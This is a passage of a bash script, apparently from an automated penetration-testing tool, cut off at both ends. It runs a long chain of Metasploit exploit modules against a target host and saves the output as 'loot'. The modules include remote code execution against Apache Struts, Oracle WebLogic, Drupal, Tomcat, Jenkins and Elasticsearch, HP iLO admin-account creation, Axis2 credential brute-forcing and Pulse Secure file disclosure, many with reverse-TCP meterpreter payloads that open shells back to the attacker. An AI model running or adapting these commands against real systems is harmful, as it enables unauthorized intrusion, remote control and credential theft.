"$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null + #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + #echo -e "$OKRED RUNNING MS15-034 HTTP.SYS MEMORY LEAK EXPLOIT $RESET" + #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + #msfconsole -q -x "use scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw + #sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.txt 2> /dev/null + #rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING AXIS2 ADMIN BRUTE FORCE SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/axis_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg USERNAME admin; setg PASS_FILE "$PASS_FILE"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING AXIS2 AUTHENTICATED DEPLOYER RCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use multi/http/axis2_deployer; setg RHOSTS "$TARGET"; set FingerprintCheck false; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING DRUPAL REST UNSERIALIZE CVE-2019-6340 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use unix/webapp/drupal_restws_unserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null + rm -f 